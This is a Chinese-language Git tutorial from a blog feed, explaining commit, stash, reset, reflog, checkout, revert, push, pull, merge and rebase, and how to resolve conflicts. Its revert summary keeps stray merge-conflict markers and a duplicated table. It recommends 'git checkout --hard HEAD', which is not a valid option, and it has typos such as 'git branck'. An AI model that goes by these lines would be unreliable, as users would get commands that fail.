    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="git简介"><a class="markdownIt-Anchor" href="#git简介">#</a> Git 简介</h2><p>Git 是 Linux 之父 Linus 的第二个伟大的作品，它最早是在 Linux 上开发的，被用来管理 Linux 核心的源代码。后来慢慢地有人将其移植到了 Unix、Windows、Max OS 等操作系统中。</p><p>Git 是一个分布式的版本控制系统，与集中式的版本控制系统不同的是，每个人都工作在通过克隆建立的本地版本库中。也就是说每个人都拥有一个完整的版本库，查看提交日志、提交、创建里程碑和分支、合并分支、回退等所有操作都直接在本地完成而不需要网络连接。</p><p>对于 Git 仓库来说，每个人都有一个独立完整的仓库，所谓的远程仓库或是服务器仓库其实也是一个仓库，只不过这台主机 24 小时运行，它是一个稳定的仓库，供他人克隆、推送，也从服务器仓库中拉取别人的提交。</p><p>Git 是目前世界上最先进的分布式版本控制系统，没有之一，对，没有之一！</p><h2 id="三个区"><a class="markdownIt-Anchor" href="#三个区">#</a> 三个区</h2><p><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221221115.png" alt="image-20210221221114838"></p><p>工作区 (working diretory) 用于修改文件<br>缓存区 (stage) 是用来暂时存放工作区中修改的内容<br>提交历史（commit history） 提交代码的历史记录</p><h2 id="主要的几个命令"><a class="markdownIt-Anchor" href="#主要的几个命令">#</a> 主要的几个命令</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">git add # 将工作区的修改提交到暂存区</span><br><span class="line">git commit # 将暂存区的修改提交到当前分支</span><br><span class="line">git reset # 回退到某一个版本</span><br><span class="line">git stash # 保存某次修改</span><br><span class="line">git pull # 从远程更新代码</span><br><span class="line">git push # 将本地代码更新到远程分支上</span><br><span class="line">git reflog # 查看历史命令</span><br><span class="line">git status # 查看当前仓库的状态</span><br><span class="line">git diff # 查看修改</span><br><span class="line">git log # 查看提交历史</span><br><span class="line">git revert # 回退某个修改</span><br></pre></td></tr></table></figure><h2 id="git-commit用法"><a class="markdownIt-Anchor" href="#git-commit用法">#</a> git commit 用法</h2><blockquote><p>git commit –m “本次提交描述”</p></blockquote><p>该命令会将 git add . 存入暂存区修改内容提交至本地仓库中，若文件未添加至暂存区，则提交时不会提交任何修改。</p><blockquote><p>git commit -a</p></blockquote><p>相当于运行 git add -u 把所有当前目录下的文件加入缓存区域再运行 git commit.<br> 注意！对于新增的文件，并没有被 commit</p><blockquote><p>git commit –am “本次提交描述”<br> 或者 git commit –a –m “本次提交描述”</p></blockquote><p>等同于上面的 - a 和 - m</p><blockquote><p>git commit --amend</p></blockquote><p>修改最近一次提交。有时候如果提交注释书写有误或者漏提文件，可以使用此命令。对于漏提交的文件，需要 git add 到缓存区之后，git commit --amend 才能将修改追加到最近的一次提交上。</p><h2 id="git-stash用法"><a class="markdownIt-Anchor" href="#git-stash用法">#</a> git stash 用法</h2><p>$ git stash<br> 所有未提交的修改都保存起来，用于后续恢复当前工作目录</p><p>$ git stash save “stash_name”<br> 给每个 stash 加一个 message，用于记录版本</p><p>$ git stash pop / git stash apply<br> 恢复最新缓存的工作目录（第一个），并删除缓存堆栈中的那一个 stash 删除 (pop), apply 则只恢复不删除</p><p>$ git stash list<br> 查看现有所有 stash<br> 在使用 git stash pop (apply) 命令时可以通过名字指定使用哪个 stash，默认使用最近的 stash（即 stash@{0}）</p><p>$ git stash drop<br> 移除最新的 stash，后面也可以跟指定 stash 的名字</p><h2 id="git-reset用法"><a class="markdownIt-Anchor" href="#git-reset用法">#</a> git reset 用法</h2><p>git reset 根据–soft –mixed –hard，会对 working tree 和 index 和 HEAD 进行重置</p><p>$ git reset HEAD^</p><p>回退版本，一个 ^ 表示一个版本，可以多个，另外也可以使用 git reset HEAD~n 这种形式。<br>也可以回退到指定版本：<br>$ git reset commit-id</p><blockquote><p>soft 参数：git reset --soft HEAD~1 意为将版本库软回退 1 个版本，所谓软回退表示将本地版本库的头指针全部重置到指定版本，且将这次提交之后的所有变更都移动到暂存区</p></blockquote><blockquote><p>默认的 mixed 参数：git reset HEAD～1 意为将版本库回退 1 个版本，将本地版本库的头指针全部重置到指定版本，且会重置暂存区，即这次提交之后的所有变更都移动到工作区</p></blockquote><blockquote><p>hard 参数：git reset --hard HEAD～1 意为将版本库回退 1 个版本，但是不仅仅是将本地版本库的头指针全部重置到指定版本，也会重置暂存区，并且会将工作区代码清空（工作区是 clean 状态）</p></blockquote><p>注意，soft 参数与默认参数都不会修改工作区代码，只有 hard 参数才会修改工作区代码。</p><p>另外，git reset HEAD filename<br> 回退文件，将文件从暂存区回退到工作区（unstage），此时不能带 hard,soft 参数</p><h2 id="git-reflog"><a class="markdownIt-Anchor" href="#git-reflog">#</a> git reflog</h2><p>如果在回退以后又想再次回到之前的版本，git reflog 可以查看所有分支的所有操作记录（包括 commit 和 reset 的操作），包括已经被删除的 commit 记录，git log 则不能察看已经删除了的 commit 记录</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">615ce06 HEAD@&#123;44&#125;: rebase -i (finish): returning to refs&#x2F;heads&#x2F;my_test_branch</span><br><span class="line">615ce06 HEAD@&#123;45&#125;: rebase -i (fixup): zancun_new</span><br><span class="line">702356c HEAD@&#123;46&#125;: rebase -i (fixup): # This is a combination of 2 commits.</span><br><span class="line">c997622 HEAD@&#123;47&#125;: rebase -i (reword): zancun_new</span><br><span class="line">fb74ec2 (origin&#x2F;master, origin&#x2F;HEAD) HEAD@&#123;48&#125;: rebase -i (start): checkout FETCH_HEAD</span><br><span class="line">f3ef592 HEAD@&#123;49&#125;: commit: zancun3</span><br><span class="line">6b82c75 HEAD@&#123;50&#125;: commit: zancun2</span><br><span class="line">e900fa0 HEAD@&#123;51&#125;: commit: zancun</span><br></pre></td></tr></table></figure><p>比如说，回退到 commit: zancun3，只需要：<br>git reset --hard f3ef592 (或者 HEAD@{49}) 即可<br>这个命令对于找回丢失的代码非常有用。</p><h2 id="git-add"><a class="markdownIt-Anchor" href="#git-add">#</a> git add</h2><p>删除文件后需要 git add -A, 光 git add. 不行，区别如下：</p><p>git add -A 保存所有的修改<br> git add . 保存新的添加和修改，但是不包括删除<br> git add -u 保存修改和删除，但是不包括新建文件。<br>所以默认使用 git add -A 就行</p><h2 id="git-checkout"><a class="markdownIt-Anchor" href="#git-checkout">#</a> git checkout</h2><p>git checkout 既可以操作分支，也可以操作文件</p><h3 id="git-checkout切换分支"><a class="markdownIt-Anchor" href="#git-checkout切换分支">#</a> git checkout 切换分支</h3><p>$ git checkout -b newBranchName<br>Switched to a new branch ‘newBranchName’</p><p>这相当于执行下面这两条命令：<br>git branch newBranchName<br>git checkout newBranchName (工作区一定要是 clean 的)</p><p>$ git checkout -b newBranchName remote_branch_name<br> 拉取远程分支 remote_branch_name 创建一个本地分支 newBranchName，并切到本地分支 newBranchName，采用此种方法建立的本地分支会和远程分支建立映射关系。</p><h3 id="git-checkout-回退修改"><a class="markdownIt-Anchor" href="#git-checkout-回退修改">#</a> git checkout 回退修改</h3><p>git checkout – fileName<br> 这条命令把 fileName 从当前 HEAD 中检出，也就是回退当前工作区的这个文件的修改<br>–可以省略不写</p><p>如果需要回退工作区的全部文件修改，可以使用：<br>git checkout --hard HEAD<br> 而不需要对每个文件进行 checkout，这样太累</p><h2 id="git-revert"><a class="markdownIt-Anchor" href="#git-revert">#</a> git revert</h2><p>git revert, 反转提交，撤销一个提交的同时会创建一个新的提交，也就是用一个新提交来消除一个历史提交所做的任何修改.</p><p>git revert commit-id revert 指定的一个 commit<br>git revert HEAD~3 revert 指定倒数第四个 commit</p><p>revert 过程有可能遇到冲突，要么 git revert --abort 终止此次 revert 操作，代码还原至 revert 命令前。要么手动消除冲突 (同普通的冲突解决)，然后 add commit</p><h2 id="resetcheckoutrevert总结"><a class="markdownIt-Anchor" href="#resetcheckoutrevert总结">#</a> reset,checkout,revert 总结</h2><p>&lt;&lt;&lt;&lt;&lt;&lt;&lt; HEAD</p><p>下面这个表格总结了这些命令最常用的使用场景。记得经常对照这个表格，因为你使用 Git 时一定会经常用到。</p><table><thead><tr><th style="text-align:left">命令</th><th style="text-align:center">作用域</th><th style="text-align:center">常用情景</th></tr></thead><tbody><tr><td style="text-align:left">git reset</td><td style="text-align:center">提交层面</td><td style="text-align:center">在私有分支上舍弃一些没有提交的更改</td></tr><tr><td style="text-align:left">git reset</td><td style="text-align:center">文件层面</td><td style="text-align:center">将文件从缓存区中移除</td></tr><tr><td style="text-align:left">git checkout</td><td style="text-align:center">提交层面</td><td style="text-align:center">切换分支或查看旧版本</td></tr><tr><td style="text-align:left">git checkout</td><td style="text-align:center">文件层面</td><td style="text-align:center">舍弃工作目录中的更改</td></tr><tr><td style="text-align:left">git revert</td><td style="text-align:center">提交层面</td><td style="text-align:center">在公共分支上回滚更改</td></tr><tr><td style="text-align:left">git revert</td><td style="text-align:center">文件层面</td><td style="text-align:center">（然而并没有）</td></tr></tbody></table><p>=======<br> 下面这个表格总结了这些命令最常用的使用场景。记得经常对照这个表格，因为你使用 Git 时一定会经常用到。</p><table><thead><tr><th style="text-align:left">命令</th><th style="text-align:center">作用域</th><th style="text-align:right">常用情景</th></tr></thead><tbody><tr><td style="text-align:left">git reset</td><td style="text-align:center">提交层面</td><td style="text-align:right">在私有分支上舍弃一些没有提交的更改</td></tr><tr><td style="text-align:left">git reset</td><td style="text-align:center">文件层面</td><td style="text-align:right">将文件从缓存区中移除</td></tr><tr><td style="text-align:left">git checkout</td><td style="text-align:center">提交层面</td><td style="text-align:right">切换分支或查看旧版本</td></tr><tr><td style="text-align:left">git checkout</td><td style="text-align:center">文件层面</td><td style="text-align:right">舍弃工作目录中的更改</td></tr><tr><td style="text-align:left">git revert</td><td style="text-align:center">提交层面</td><td style="text-align:right">在公共分支上回滚更改</td></tr><tr><td style="text-align:left">git revert</td><td style="text-align:center">文件层面</td><td style="text-align:right">（然而并没有）</td></tr></tbody></table><blockquote><blockquote><blockquote><blockquote><blockquote><blockquote><blockquote><p>1e6acdcbc1bb278f2ad0c275b0a6360e6149c936</p></blockquote></blockquote></blockquote></blockquote></blockquote></blockquote></blockquote><h2 id="删除分支"><a class="markdownIt-Anchor" href="#删除分支">#</a> 删除分支</h2><p>删除分支： $ git branch -d branchName<br> 或者， git branch -D branchName 删除分支（不管它有没有 merge）<br>前提是先要切换到其他分支</p><p>$ git branch -d branch1<br>error: The branch ‘branch1’ is not fully merged.<br>If you are sure you want to delete it, run ‘git branch -D branch1’.</p><h2 id="git-push"><a class="markdownIt-Anchor" href="#git-push">#</a> git push</h2><p>git push 命令用于将本地分支的更新，推送到远程主机。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ git push &lt;远程主机名&gt; &lt;本地分支名&gt;:&lt;远程分支名&gt;</span><br><span class="line">$ git push origin master</span><br></pre></td></tr></table></figure><p>上面命令表示，将本地的 master 分支推送到 origin 主机的 master 分支。如果 master 不存在，则会被新建。</p><p>如果省略本地分支名，则表示删除指定的远程分支，因为这等同于推送一个空的本地分支到远程分支。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ git push origin :master</span><br><span class="line"># 等同于</span><br><span class="line">$ git push origin --delete master</span><br></pre></td></tr></table></figure><p>上面命令表示删除 origin 主机的 master 分支。如果当前分支与远程分支之间存在追踪关系，则本地分支和远程分支都可以省略。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git push origin</span><br></pre></td></tr></table></figure><p>上面命令表示，将当前分支推送到 origin 主机的对应分支。如果当前分支只有一个追踪分支，那么主机名都可以省略。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git push</span><br></pre></td></tr></table></figure><p>如果当前分支与多个主机存在追踪关系，则可以使用 - u 选项指定一个默认主机，这样后面就可以不加任何参数使用 git push</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git push -u origin master</span><br></pre></td></tr></table></figure><p>上面命令将本地的 master 分支推送到 origin 主机，同时指定 origin 为默认主机，后面就可以不加任何参数使用 git push 了。</p><p>将当前分支推送到远程的同名的简单方法，如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git push origin HEAD</span><br></pre></td></tr></table></figure><p>将当前分支推送到源存储库中的远程引用匹配主机。 这种形式方便推送当前分支，而不考虑其本地名称。如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git push origin HEAD:master</span><br></pre></td></tr></table></figure><p>单独使用 git push 时，没有指定 push 的 remote 分支名，假如当前本地分支名称与其对应的 remote 分支名称不一样，则会有一下提示：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">fatal: The upstream branch of your current branch does not match</span><br><span class="line">the name of your current branch.  To push to the upstream branch</span><br><span class="line">on the remote, use</span><br><span class="line"></span><br><span class="line">    git push origin HEAD:my_new_test_branch</span><br><span class="line"></span><br><span class="line">To push to the branch of the same name on the remote, use</span><br><span class="line"></span><br><span class="line">    git push origin test</span><br><span class="line"></span><br><span class="line">To choose either option permanently, see push.default in &#39;git help config&#39;.</span><br></pre></td></tr></table></figure><p>当执行 git push origin test 时，会在远程重新创建一个新的分支，名称就是 test，然后把修改同步到 test 分支。</p><h2 id="git-pull"><a class="markdownIt-Anchor" href="#git-pull">#</a> git pull</h2><p>git pull 命令用于从另一个存储库或本地分支获取并集成 (整合)。git pull 命令的作用是：取回远程主机某个分支的更新，再与本地的指定分支合并，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git pull &lt;远程主机名&gt; &lt;远程分支名&gt;:&lt;本地分支名&gt;</span><br></pre></td></tr></table></figure><p>比如，要取回 origin 主机的 master 分支，与本地的 test 分支合并，需要写成下面这样</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git pull origin master:test</span><br></pre></td></tr></table></figure><p>如果远程分支 (master) 要与当前分支合并，则冒号后面的部分可以省略。上面命令可以简写：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git pull origin master</span><br></pre></td></tr></table></figure><p>将远程存储库中的更改合并到当前分支中。在默认模式下，git pull 是 git fetch 后跟 git merge FETCH_HEAD 的缩写。</p><p>更准确地说，git pull 使用给定的参数运行 git fetch，并调用 git merge 将检索到的分支头合并到当前分支中。 使用–rebase，它运行 git rebase 而不是 git merge。也就是说</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git pull &#x3D; git fetch + git merge</span><br><span class="line">git pull --rebase &#x3D; git fetch + git rebase</span><br></pre></td></tr></table></figure><p>git 中都 fetch 命令是将远程分支的最新内容拉到了本地，但是 fetch 后是看不到变化的，此时本地多了一个 FETCH_HEAD 的指针，checkout 到该指针后可以查看远程分支的最新内容。然后 checkout 到 master 分支，执行 metch, 选中 FETCH_HEAD 指针，合并后如果出现冲突则解决冲突，最后 commit。</p><p>pull 的作用就相当于 fetch 和 merge，自动合并</p><blockquote><p>git fetch origin master<br>git merge FETCH_HEAD</p></blockquote><p>git fetch origin isoda-android_1.3.0_feature :branch1<br> 使用远程 isoda-android_1.3.0_feature 分支在本地创建 branch1 分支（但不会切换到该分支）</p><h3 id="1-git-merge"><a class="markdownIt-Anchor" href="#1-git-merge">#</a> 1. git merge</h3><p>将 origin 分支合并到 mywork 分支最简单的办法就是用下面这些命令</p><blockquote><p>git checkout mywork<br>git merge origin</p></blockquote><p>或者，你也可以把它们压缩在一行里:</p><blockquote><p>git merge origin mywork</p></blockquote><p>假设远程分支上有 3 次提交 A,B,C:<br><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221220935.png" alt="image-20210221220934052"></p><p>在远程分支 origin 的基础上创建一个名为 &quot;mywork&quot; 的本地分支并提交了修改 E，同时有其他人在 &quot;origin&quot; 上做了一些修改并提交了修改 D。<br><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221220914.png" alt="image-20210221220913739"></p><p>用 git merge 命令把 &quot;origin&quot; 分支与本地提交合并（merge）成版本 M，mywork 分支中新的合并提交（merge-commit）将两个分支的历史连在了一起，但这样会形成图中的菱形，让人很困惑。<br><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221220856.png" alt="image-20210221220855422"></p><p>Merge 好在它是一个安全的操作，比较安全，现有的分支不会被更改，避免了 rebase 潜在的缺点（后面会说）。另一方面，这同样意味着每次合并上游更改时 feature 分支都会引入一个外来的合并提交。如果 master 非常活跃的话，这或多或少会污染你的分支历史。虽然高级的 git log 选项可以减轻这个问题，但对于开发者来说，还是会增加理解项目历史的难度。</p><h3 id="2-git-rebase"><a class="markdownIt-Anchor" href="#2-git-rebase">#</a> 2. git rebase</h3><p>作为 merge 的替代选择，你可以像下面这样将 mywork 分支并入 origin 分支：</p><blockquote><p>git checkout mywork<br>git rebase origin</p></blockquote><p>它会把整个 mywork 分支移动到 origin 分支的后面，有效地把所有 master 分支上新的提交并入过来。但是，rebase 为原分支上每一个提交创建一个新的提交，重写了项目历史，并且不会带来合并提交。rebase 的好处是避免了菱形的产生，保持提交曲线为直线，让大家易于理解。<br><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221220949.png" alt="image-20210221220948444"></p><p>rebase 最大的好处是你的项目历史会非常整洁。首先，它不像 git merge 那样引入不必要的合并提交。其次，如上图所示，rebase 导致最后的项目历史呈现出完美的线性 —— 你可以从项目终点到起点浏览而不需要任何的 fork。这让你更容易使用 git log、git reset 和 gitk 来查看项目历史。</p><p>不过，这种简单的提交历史会带来两个后果：安全性和可跟踪性。如果你违反了 rebase 黄金法则，重写项目历史可能会给你的协作工作流带来灾难性的影响。此外，rebase 不会有合并提交中附带的信息 —— 你看不到 mywork 分支中并入了上游的哪些更改。</p><p>在 rebase 的过程中，有时也会有 conflict，这时 Git 会停止 rebase 并让用户去解决冲突，解决完冲突后，用 git add 命令去更新这些内容，然后不用执行 git commit, 直接执行 git rebase --continue, 这样 git 会继续 apply 余下的补丁。<br>在任何时候，都可以用 git rebase --abort 参数来终止 rebase 的行动，并且 mywork 分支会回到 rebase 开始前的状态。</p><p>官方的两张 merge 和 rebase 对比图：<br>merge 示例图：<br><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221221004.png" alt="image-20210221221003373"></p><p>rebase 示例图：<br><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221221016.png" alt="image-20210221221015869"></p><h3 id="3-rebase的高级操作交互式rebase"><a class="markdownIt-Anchor" href="#3-rebase的高级操作交互式rebase">#</a> 3. rebase 的高级操作–交互式 rebase</h3><p>交互式的 rebase 允许你更改并入新分支的提交。这比自动的 rebase 更加强大，因为它提供了对分支上提交历史完整的控制。一般来说，这被用于将 feature 分支并入 master 分支之前，清理混乱的历史。</p><p>把 -i 传入 git rebase 选项来开始一个交互式的 rebase 过程：</p><blockquote><p>git checkout feature<br>git rebase -i master</p></blockquote><p>它会打开一个文本编辑器，显示所有将被移动的提交：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">pick e900fa0 zancun</span><br><span class="line">pick 6b82c75 zancun2</span><br><span class="line">pick f3ef592 zancun3</span><br><span class="line"></span><br><span class="line"># Rebase fb74ec2..f3ef592 onto fb74ec2 (3 commands)</span><br><span class="line">#</span><br><span class="line"># Commands:</span><br><span class="line"># p, pick &#x3D; use commit</span><br><span class="line"># r, reword &#x3D; use commit, but edit the commit message</span><br><span class="line"># e, edit &#x3D; use commit, but stop for amending</span><br><span class="line"># s, squash &#x3D; use commit, but meld into previous commit</span><br><span class="line"># f, fixup &#x3D; like &quot;squash&quot;, but discard this commit&#39;s log message</span><br><span class="line"># x, exec &#x3D; run command (the rest of the line) using shell</span><br><span class="line"># d, drop &#x3D; remove commit</span><br><span class="line">#</span><br><span class="line"># These lines can be re-ordered; they are executed from top to bottom.</span><br><span class="line">#</span><br><span class="line"># If you remove a line here THAT COMMIT WILL BE LOST.</span><br><span class="line">#</span><br><span class="line"># However, if you remove everything, the rebase will be aborted.</span><br><span class="line">#</span><br><span class="line"># Note that empty commits are commented out</span><br></pre></td></tr></table></figure><p>这个列表定义了 rebase 将被执行后分支会是什么样的。更改 pick 命令或者重新排序，这个分支的历史就能如你所愿了。比如说，如果第二个和第三个提交只是修复了第一个提交中的小问题，你可以用 fixup 命令把它们合到第一个提交中，并修改第一个的日志：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">r e900fa0 zancun</span><br><span class="line">f 6b82c75 zancun2</span><br><span class="line">f f3ef592 zancun3</span><br></pre></td></tr></table></figure><p>这样三个提交合并成了一个提交，并可以重新修改提交日志，非常实用。<br>忽略不重要的提交会让你的 feature 分支的历史更清晰易读。这是 git merge 做不到的。</p><h3 id="4-rebase的黄金法则"><a class="markdownIt-Anchor" href="#4-rebase的黄金法则">#</a> 4. Rebase 的黄金法则</h3><p>当你理解 rebase 是什么的时候，最重要的就是什么时候不能用 rebase。git rebase 的黄金法则便是，绝不要在公共的分支上使用它。</p><p>比如说，如果你把 master 分支 rebase 到你的 feature 分支上会发生什么：<br><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221221033.png" alt="image-20210221221032465"></p><p>这次 rebase 将 master 分支上的所有提交都移到了 feature 分支后面。问题是它只发生在你的代码仓库中，其他所有的开发者还在原来的 master 上工作。因为 rebase 引起了新的提交，Git 会认为你的 master 分支和其他人的 master 已经分叉了。</p><p>同步两个 master 分支的唯一办法是把它们 merge 到一起，导致一个额外的合并提交和两堆包含同样更改的提交。不用说，这会让人非常困惑。</p><p>所以，在你运行 git rebase 之前，一定要问问你自己「有没有别人正在这个分支上工作？」。如果答案是肯定的，那么把你的爪子放回去，重新找到一个无害的方式（如 git merge）来提交你的更改。不然的话，你可以随心所欲地重写历史。</p><h3 id="5-rebae的本地清理功能"><a class="markdownIt-Anchor" href="#5-rebae的本地清理功能">#</a> 5. rebae 的本地清理功能</h3><p>在你工作流中使用 rebase 最好的用法之一就是清理本地正在开发的分支。隔一段时间执行一次交互式 rebase，你可以保证你 feature 分支中的每一个提交都是专注和有意义的。</p><p>调用 git rebase 的时候，你有两个基（base）可以选择：上游分支（比如 master）或者你 feature 分支中早先的一个提交。我们在「交互式 rebase」一节看到了第一种的例子。后一种在当你只需要修改最新几次提交时也很有用。比如说，下面的命令对最新的 3 次提交进行了交互式 rebase：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git checkout feature</span><br><span class="line">git rebase -i HEAD~3(或者第四个commit-id)</span><br></pre></td></tr></table></figure><p>这样，就可以对本地提交历史中最新的三个提交进行重新整理了，包括提交合并，提交日志修改等等。</p><p>通过指定 HEAD~3 作为新的基提交，你实际上没有移动分支 —— 你只是将之后的 3 次提交重写了。注意它不会把上游分支（master）的更改并入到 feature 分支中。</p><p>交互式 rebase 是在你工作流中引入 git rebase 的的好办法，因为它只影响本地分支。其他开发者只能看到你已经完成的结果，那就是一个非常整洁、易于追踪的分支历史。</p><h2 id="追踪关系"><a class="markdownIt-Anchor" href="#追踪关系">#</a> 追踪关系</h2><p>建立 test 仓库 并建立追踪关系</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git branck --track test origin&#x2F;master</span><br></pre></td></tr></table></figure><p>修改追踪关系<br>先切换到 test</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git checkout test</span><br></pre></td></tr></table></figure><p>修改追踪仓库（一定要先切换）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git branch --set-upstream-to  origin&#x2F;master</span><br></pre></td></tr></table></figure><p>建立追踪关系之后，本地分支名称和远程一样时，使用 git push 时不用带上远程名称，git pull 也不用带上远程分支名</p><h2 id="git冲突的修复"><a class="markdownIt-Anchor" href="#git冲突的修复">#</a> git 冲突的修复</h2><h3 id="1-直接编辑冲突文件"><a class="markdownIt-Anchor" href="#1-直接编辑冲突文件">#</a> 1. 直接编辑冲突文件</h3><p>使用 git pull --rebase 经常会出现冲突<br>冲突产生后，文件系统中冲突了的文件里面的内容会显示为类似下面这样：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;&lt;&lt;&lt;&lt;&lt;&lt; HEAD</span><br><span class="line"> * test2</span><br><span class="line"> * test3</span><br><span class="line">&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</span><br><span class="line"> * this is my modify, my be conflicked</span><br><span class="line"> * test1000</span><br><span class="line">&gt;&gt;&gt;&gt;&gt;&gt;&gt; my_modify</span><br></pre></td></tr></table></figure><p>其中：&lt;&lt;&lt;&lt;&lt;&lt;&lt;（7 个 &lt;）HEAD 与 = 之间的内容是 remote 上的修改，冲突标记 = 与&gt;&gt;&gt;&gt;&gt;&gt;&gt; 之间的内容是我的修改内容。<br>在这两者之间选择任何你需要的内容保留下来，并删除所有的 ===,&lt;&lt;&lt;,&gt;&gt;&gt; 即可解决冲突，解决完成之后，git add -A, git rebase --continue 就提交了代码</p><h3 id="2-利用图形界面工具解决冲突"><a class="markdownIt-Anchor" href="#2-利用图形界面工具解决冲突">#</a> 2. 利用图形界面工具解决冲突</h3><p>当然我们也可以利用图形工具解决冲突<br>如果要解决的冲突很多，且比较复杂，图形界面的冲突解决工具就显得很重要了。<br>执行 git mergetool 用预先配置的 Meld (Beyond Compare) 解决冲突：<br><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221221051.png" alt="image-20210221221050552"></p><p>上面左右两个窗口依次是 “LOCAL”、“REMOTE”，它们只是提供解决冲突需要的信息，是无法编辑的。中间的窗口是合并后的结果，可以手动修改，也可以点击相应颜色的箭头选择 “LOCAL” 或者 “REMOTE”。</p><p>如果不向解决冲突，回到之前状态，可执行：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git rebase --abort</span><br></pre></td></tr></table></figure><h3 id="3-代码提交完整流程"><a class="markdownIt-Anchor" href="#3-代码提交完整流程">#</a> 3. 代码提交完整流程</h3><p>步骤如下：<br>git add -A<br>git commit -m “message”<br>git pull --rebase (或者 git fetch + git rebase）<br>解决冲突<br> git add 冲突文件<br> git rebase –continue<br>git push<br> 其中，3、4、5 点，如果没遇到冲突就不用进行，直接 push 上去。<br>当遇到冲突时，git 会提示 patch failed，并要我们解决问题了再执行 git rebase --continue</p><h2 id="常用命令速查表"><a class="markdownIt-Anchor" href="#常用命令速查表">#</a> 常用命令速查表</h2><p><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/20210221221757.png" alt="20180816164553616 (2)"></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="bash" scheme="http://www.cclss.top/categories/bash/"/>
    
    
    <category term="git" scheme="http://www.cclss.top/tags/git/"/>
    
  </entry>
  
</feed>
